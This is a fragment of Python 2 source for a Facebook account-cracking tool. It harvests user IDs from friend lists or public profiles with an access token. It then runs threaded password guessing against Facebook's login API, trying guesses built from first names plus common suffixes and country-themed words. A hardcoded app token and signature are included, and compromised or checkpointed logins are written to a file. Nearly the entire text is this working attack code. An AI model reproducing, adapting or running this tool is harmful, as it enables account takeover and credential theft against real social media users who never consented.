\n\t\texcept:\n\t\t\tpass\n\t\t\n\tp = ThreadPool(30)\n\tp.map(main, id)\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint '\\033[1;96m[\\033[1;97mok\\033[1;96m] \\033[1;92mProcess Has Been Completed \\033[1;97m....'\n\tprint\"\\033[1;96m[+] \\033[1;92mTotal OK/\\x1b[1;93mCP \\033[1;91m: \\033[1;92m\"+str(len(oks))+\"\\033[1;97m/\\033[1;93m\"+str(len(cekpoint))\n\tprint(\"\\033[1;96m[+] \\033[1;92mCP File Has Been Saved \\033[1;91m: \\033[1;97mout/Techabm.txt\")\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\traw_input(\"\\n\\033[1;96m[\\033[1;97mBack\\033[1;96m]\")\n\tmenu()\n\ndef kuper():\n\tglobal toket\n\tos.system('clear')\n\ttry:\n\t\ttoket=open('login.txt','r').read()\n\texcept IOError:\n\t\tprint\"\\x1b[1;91mToken invalid\"\n\t\tos.system('rm -rf login.txt')\n\t\ttime.sleep(1)\n\t\tlogin()\n\tos.system('clear')\n\tprint logo2\n\tos.system('clear')\n\tprint logo\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tjalan( \"\\x1b[1;32;92m[1]\\033[1;33;98m>\\033[1;91mCrack From Friendlist ID \") \n\tjalan( \"\\x1b[1;32;92m[2]\\033[1;33;98m>\\033[1;91mCrack From Any Public ID\") \n\tjalan( \"\\x1b[1;32;36m[0]\\033[1;33;96m>\\033[1;94mBack\") \n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tpilih_kuper()\n\ndef pilih_kuper():\n\tpeak = raw_input(\"\\n\\033[1;31;40m>>> \\033[1;97m\")\n\tif peak ==\"\":\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_kuper()\n\telif peak ==\"1\":\n\t\tos.system('clear')\n\t\tprint logo\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tjalan('\\033[1;96m[+] \\033[1;93mGetting ID \\033[1;97m...')\n\t\tr = requests.get(\"https://graph.facebook.com/me/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor s in z['data']:\n\t\t\tid.append(s['id'])\n\telif peak ==\"2\":\n\t\tos.system('clear')\n\t\tprint logo\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tidt = raw_input(\"\\033[1;96m[ ok]\\033[1;93m Enter ID/USERNAME\\033[1;91m : \")\n\t\ttry:\n\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\n\t\t\top = json.loads(jok.text)\n\t\t\tprint\"\\033[1;31;37m[ ok] Name : \"+op[\"name\"]\n\t\texcept KeyError:\n\t\t\tprint\"\\x1b[1;37m[ ok] ID Not Found!\"\n\t\t\traw_input(\"\\n\\033[1;96m[\\033[1;94mBack\\033[1;96m]\")\n\t\t\tkuper()\n\t\tprint\"\\033[1;35;37m[ ok] Getting ID\"\n\t\tr = requests.get(\"https://graph.facebook.com/\"+idt+\"/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor i in z['data']:\n\t\t\tid.append(i['id'])\n\telif peak ==\"0\":\n\t\tmenu()\n\telse:\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_kuper()\n\n\t\n\tprint \"\\033[1;36;96m[ ok] Total IDs : \\033[1;92m\"+str(len(id))\n\tjalan('\\033[1;34;96m[ ok] Please Wait ')\n\ttitik = ['. ','.. ','... ']\n\tfor o in titik:\n\t\t print(\"\\r\\033[1;93mCloning\\033[1;93m\"+o),;sys.stdout.flush();time.sleep(1)\n\tprint \"\\n\\033[1;97m >-------\\x1b[1;91m To Stop Process Press CTRL+Z \\033[1;97m------>\"\n\tprint \"\\033[1;97m >------------------------------------------------>\"\n\tjalan(' \\033[1;93m Plz Wait Cloned Accounts Will Appear Here')\n\tjalan(' \\033[1;93m Crack Bangladesh ')\n print \"\\033[1;97m >------------------------------------------------>\"\n\t\n\tdef main(arg):\n\t\tglobal oks\n\t\tuser = arg\n\t\ttry:\n\t\t\tos.mkdir('out')\n\t\texcept OSError:\n\t\t\tpass \n\t\ttry:\n\t\t\ta = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)\n\t\t\tb = json.loads(a.text)\n\t\t\tpass1 = b['first_name'] + '786'\n\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass1)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\tq = json.load(data)\n\t\t\tif 'access_token' in q:\n\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\toks.append(user+pass1)\n\t\t\telse:\n\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\tcek.write(user+\"|\"+pass1+\"\\n\")\n\t\t\t\t\tcek.close()\n\t\t\t\t\tcekpoint.append(user+pass1)\n\t\t\t\telse:\n\t\t\t\t\tpass2 = b['first_name'] + '123'\n\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass2)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\tq = json.load(data)\n\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['_name']\n\t\t\t\t\t\toks.append(user+pass2)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\tcek.write(user+\"|\"+pass2+\"\\n\")\n\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\tcekpoint.append(user+pass2)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tpass3 = b['first_name'] + '12345'\n\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass3)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\toks.append(user+pass3)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass3+\"\\n\")\n\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass4)\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tpass4 = b['first_name'] + '1234'\n\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass4)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass4 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\toks.append(user+pass4)\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass4 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass4+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass4)\n\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\tpass5 = b['first_name'] + '12' \n\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass5)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass5 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass5)\n\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass5 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass5+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass5)\n\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\tpass6 = 'Bangladesh'\n\t\t\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass6)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass6 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass6)\n\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass6 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass6+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass6)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tpass7 = 'Bangladesh123' \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass7)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass7 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass7)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass7 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass7+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass7)\n\n\t\t\t\t\t\t\t\t\t\t\t \n\t\texcept:\n\t\t\tpass\n\t\t\n\tp = ThreadPool(30)\n\tp.map(main, id)\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tprint '\\033[1;96m[\\033[1;97mok\\033[1;96m] \\033[1;92mProcess Has Been Completed \\033[1;97m....'\n\tprint\"\\033[1;96m[+] \\033[1;92mTotal OK/\\x1b[1;93mCP \\033[1;91m: \\033[1;92m\"+str(len(oks))+\"\\033[1;97m/\\033[1;93m\"+str(len(cekpoint))\n\tprint(\"\\033[1;96m[+] \\033[1;92mCP File Has Been Saved \\033[1;91m: \\033[1;97mout/Techabm.txt\")\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\traw_input(\"\\n\\033[1;96m[\\033[1;97mBack\\033[1;96m]\")\n\tmenu()\n\t\ndef indoo():\n\tglobal toket\n\tos.system('clear')\n\ttry:\n\t\ttoket=open('login.txt','r').read()\n\texcept IOError:\n\t\tprint\"\\x1b[1;91mToken invalid\"\n\t\tos.system('rm -rf login.txt')\n\t\ttime.sleep(1)\n\t\tlogin()\n\tos.system('clear')\n\tprint logo2\n\tos.system('clear')\n\tprint logo\n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tjalan( \"\\x1b[1;32;92m[1]\\033[1;33;98m>\\033[1;92mCrack From Friendlist ID \") \n\tjalan( \"\\x1b[1;32;92m[2]\\033[1;33;98m>\\033[1;92mCrack From Any Public ID\") \n\tjalan( \"\\x1b[1;32;36m[0]\\033[1;33;96m>\\033[1;91mBack\") \n\tprint(\"\\033[1;97m--------------------------------------------------\")\n\tpilih_indoo()\n\ndef pilih_indoo():\n\tpeak = raw_input(\"\\n\\033[1;31;40m>>> \\033[1;97m\")\n\tif peak ==\"\":\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_indoo()\n\telif peak ==\"1\":\n\t\tos.system('clear')\n\t\tprint logo\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tjalan('\\033[1;96m[+] \\033[1;93mGetting ID \\033[1;97m...')\n\t\tr = requests.get(\"https://graph.facebook.com/me/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor s in z['data']:\n\t\t\tid.append(s['id'])\n\telif peak ==\"2\":\n\t\tos.system('clear')\n\t\tprint logo\n\t\tprint(\"\\033[1;97m--------------------------------------------------\")\n\t\tidt = raw_input(\"\\033[1;96m[ ok]\\033[1;93m Enter ID/USERNAME\\033[1;91m : \")\n\t\ttry:\n\t\t\tjok = requests.get(\"https://graph.facebook.com/\"+idt+\"?access_token=\"+toket)\n\t\t\top = json.loads(jok.text)\n\t\t\tprint\"\\033[1;31;37m[ ok] Name : \"+op[\"name\"]\n\t\texcept KeyError:\n\t\t\tprint\"\\x1b[1;37m[ ok] ID Not Found!\"\n\t\t\traw_input(\"\\n\\033[1;96m[\\033[1;94mBack\\033[1;96m]\")\n\t\t\tindoo()\n\t\tprint\"\\033[1;35;37m[ ok] Getting ID\"\n\t\tr = requests.get(\"https://graph.facebook.com/\"+idt+\"/friends?access_token=\"+toket)\n\t\tz = json.loads(r.text)\n\t\tfor i in z['data']:\n\t\t\tid.append(i['id'])\n\telif peak ==\"0\":\n\t\tmenu()\n\telse:\n\t\tprint \"\\x1b[1;91mFill in correctly\"\n\t\tpilih_indoo()\n\n\t\n\tprint \"\\033[1;36;96m[ ok] Total IDs : \\033[1;92m\"+str(len(id))\n\tjalan('\\033[1;34;96m[ ok] Please Wait ')\n\ttitik = ['. ','.. ','... ']\n\tfor o in titik:\n\t\t print(\"\\r\\033[1;93mCloning\\033[1;93m\"+o),;sys.stdout.flush();time.sleep(1)\n\tprint \"\\n\\033[1;97m >-------\\x1b[1;91m To Stop Process Press CTRL+Z \\033[1;97m------>\"\n\tprint \"\\033[1;97m >------------------------------------------------>\"\n\tjalan(' \\033[1;93m Plz Wait Cloned Accounts Will Appear Here')\n\tjalan(' \\033[1;93m Crack Pakistan ')\n print \"\\033[1;97m >------------------------------------------------>\"\n\t\n\tdef main(arg):\n\t\tglobal oks\n\t\tuser = arg\n\t\ttry:\n\t\t\tos.mkdir('out')\n\t\texcept OSError:\n\t\t\tpass \n\t\ttry:\n\t\t\ta = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)\n\t\t\tb = json.loads(a.text)\n\t\t\tpass1 = b['first_name'] + '786'\n\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass1)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\tq = json.load(data)\n\t\t\tif 'access_token' in q:\n\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\toks.append(user+pass1)\n\t\t\telse:\n\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass1 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\tcek.write(user+\"|\"+pass1+\"\\n\")\n\t\t\t\t\tcek.close()\n\t\t\t\t\tcekpoint.append(user+pass1)\n\t\t\t\telse:\n\t\t\t\t\tpass2 = b['first_name'] + '123'\n\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass2)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\tq = json.load(data)\n\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['_name']\n\t\t\t\t\t\toks.append(user+pass2)\n\t\t\t\t\telse:\n\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass2 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\tcek.write(user+\"|\"+pass2+\"\\n\")\n\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\tcekpoint.append(user+pass2)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tpass3 = b['first_name'] + '12345'\n\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass3)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\toks.append(user+pass3)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass3 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass3+\"\\n\")\n\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass4)\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tpass4 = b['first_name'] + '1234'\n\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass4)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass4 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\toks.append(user+pass4)\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass4 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass4+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass4)\n\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\tpass5 = b['first_name'] + '12' \n\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass5)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass5 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass5)\n\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass5 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass5+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass5)\n\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\tpass6 = 'Sayang'\n\t\t\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass6)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass6 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass6)\n\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in q[\"error_msg\"]:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;93mCP\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass6 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek = open(\"out/CP.txt\", \"a\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.write(user+\"|\"+pass6+\"\\n\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcek.close()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tcekpoint.append(user+pass6)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tpass7 = 'Kontol'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tdata = urllib.urlopen(\"https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=\"+(user)+\"&locale=en_US&password=\"+(pass7)+\"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tq = json.load(data)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'access_token' in q:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tprint '\\033[1;94m[\\033[1;92mOK\\033[1;94m] \\033[1;97m' + user + '\\033[1;91m>\\033[1;97m' + pass7 + '\\033[1;91m>\\033[1;97m' + b['name']\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\toks.append(user+pass7)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'www.facebook.com' in 